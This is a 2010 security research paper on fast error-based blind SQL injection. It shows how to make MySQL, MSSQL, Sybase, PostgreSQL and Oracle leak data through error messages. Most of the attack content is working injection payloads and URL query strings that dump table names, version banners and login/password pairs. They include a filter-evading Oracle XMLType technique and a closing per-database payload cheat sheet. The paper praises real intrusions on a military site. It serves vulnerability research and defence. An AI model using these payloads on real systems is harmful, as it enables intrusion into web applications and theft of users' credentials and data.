# Title: Methods of quick exploitation of blind SQL Injection # Date: January 25th, 2010 # Author: Dmitry Evteev (Positive Technologies Research Lab) # Contacts: http://devteev.blogspot.com/ (Russian); http://www.ptsecurity.com/ In this paper, the quickest methods of Blind SQL Injection (error-based) exploitation are collected and considered by examples of several widespread databases. ---=[ 0x01 ] Intro SQL Injection vulnerabilities are often detected by analyzing error messages received from the database, but sometimes we cannot exploit the discovered vulnerability using classic methods (e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?! It can be adapted for line-by-line reading of data from a database or a file system, and this technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take advantage of such opportunity! In this paper, we will consider the methods that allow one to use the database error messages as containers for useful data. ---=[ 0x02 ] Error-Based Blind SQL Injection in MySQL At the turn of the last year, Qwazar has got a universal technique of exploitation of Blind SQL Injection vulnerabilities in applications operating under MySQL database from the depths of antichat (I wonder what else can be found in these depths). It should be mentioned that the proposed technique is rather complicated and opaque. Here is an example of applying this universal approach to MySQL>=5.0: mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1 mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1 If the table name is unknown, which is possible for MySQL < 5.0, then one has to use more complex queries based on the function rand(). It means that we will often fail to obtain the necessary data with one http query. mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1); ... 1 row in set (0.00 sec) ... mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1); ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1 Here is an example of practical use of the method for database structure restoration: http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- ... The technique proposed by Qwazar is applicable to all MySQL versions including 3.x, which still can be found in the Global Network. However, taking into consideration the fact that sub-queries were implemented in MySQL v. 4.1, application of the described method to earlier versions becomes much more difficult. ---=[ 0x03 ] Universal Exploitation Techniques for Other Databases Recently, the hacker under the pseudonym TinKode has successfully conducted several attacks using Blind SQL Injection vulnerabilities in a web server in the domain army.mil. In the course of attacking web applications operating under MSSQL 2000/2005 control, the hacker has demonstrated a rather interesting method to obtain data from a database. The technique used by TinKode in based on the fact that MsSQL generates an error in case of incorrect data type conversion, which in turn allows one to transfer useful data in the returned error message: select convert(int,@@version); Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) Jul 9 2008 14:43:34 Copyright (c) 1988-2008 Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7600: ) (VM) ' to data type int. Consequently, if Blind SQL Injection is exploited using the described method, then it becomes possible to obtain the necessary data from Microsoft SQL Server rather quickly. For example, one can restore the database structure: http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))-- http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))-- ... If we notice that Sybase ASE, just like MS SQL Server, is based on Transact-SQL, it is plausible to assume that the described technique is applicable to this DBMS. Testing has strongly confirmed this assumption. All examples given for MsSQL hold true for the Sybase database, too. Similar manipulations with type conversion were conducted for MySQL. The conducted experiments showed that in case of incorrect type conversion, MySQL returns non-critical error messages that do not allow one to attain the same aims for Blind SQL Injection exploitation. Meanwhile, experiments with PostgreSQL were successful: web=# select cast(version() as numeric); ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]" To obtain useful data by exploiting an SQL Injection vulnerability in an application operating under PostgreSQL control, one can use the following queries: http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)-- ... ---=[ 0x04 ] In the Depths of Oracle I had gathered an interesting collection of quick methods of Blind SQL Injection exploitation, but I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database. I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX): SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL> Anyway, that's something. Now we can use the function substr() to read the desired information symbol-by-symbol. For example, we can rather quickly determine the version of the installed database: select XMLType((select substr(version,1,1) from v$instance)) from users; select XMLType((select substr(version,2,1) from v$instance)) from users; select XMLType((select substr(version,3,1) from v$instance)) from users; ...etc. Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be light-heartedly to stop at that. We will go further. After investigating the function XMLType()in detail, I managed to find an analogous method to place data into the error message, which can be also applied to other databases: SQL> select XMLType((select '' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "abcdef" is not declared ... SQL> select XMLType((select '<:abcdef>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName ":abcdef" (not a Name) ... SQL> It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t implement automated type conversion. Therefore, the following query will cause an error: SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual); select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual) ERROR at line 1: ORA-00932: inconsistent datatypes: expected NUMBER got - The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType() truncates the returned data after certain symbols, e.g. space character and the "at" sign (“@”). However, there is no problem we could not solve;) To dispose of the problem of type conversion, one can apply the function upper(). Line-by-line data reading can be implemented using the following simple construction: select id from(select id,rownum rnum from users a)where rnum=1; select id from(select id,rownum rnum from users a)where rnum=2; ... At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can be excluded from the sent query using numeric representation of symbols (ascii), which will later allow one to bypass filtering at the stage of processing the data that comes into the application. Thus, the resulting query becomes: select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual); select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual); ... Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages: http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)-- To decode the data obtained from an application using the described method of SQL Injection exploitation, one can use, for example, the following standard Oracle function: SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual; UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264') -------------------------------------------------------------------------------- admin::P@ssw0rd SQL> ---=[ 0x05 ] Resume Thus, we obtained universal and quick techniques of error-based Blind SQL Injection exploitation for the following DBMSs: PostgreSQL, MSSQL, Sybase, MySQL version >=4.1, and Oracle version >=9.0. To identify the database version using one http request, the following constructions can be applied: PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)-- OR /?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)-- MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-- ---=[ 0x06 ] Curtain Sometimes, it seems that everything has been already invented and there is no sense is searching for something new. As you could see from the history of the development of Blind SQL Injection exploitation, it is not the case. There is always enough space for new investigations. Wish you good cracking!:) ---=[ 0x07 ] Reference http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind.html http://qwazar.ru/?p=7 (Russian) http://tinkode.baywords.com/index.php/2010/01/the-center-for-aerosol-research-nasa-website-security-issues/ ---=[ 0x08 ] About Research Lab Positive Technologies Research Lab and SecurityLab are willing to cooperate with independent researches in the analysis of the discovered vulnerabilities, in contacts with software vendors and CVE Number Reservation process. The vulnerabilities will be published in sections "Laboratory" and PT-advisory. The name of the researches will be preserved. Our disclosure policy: en.securitylab.ru/lab/disclosure-policy.php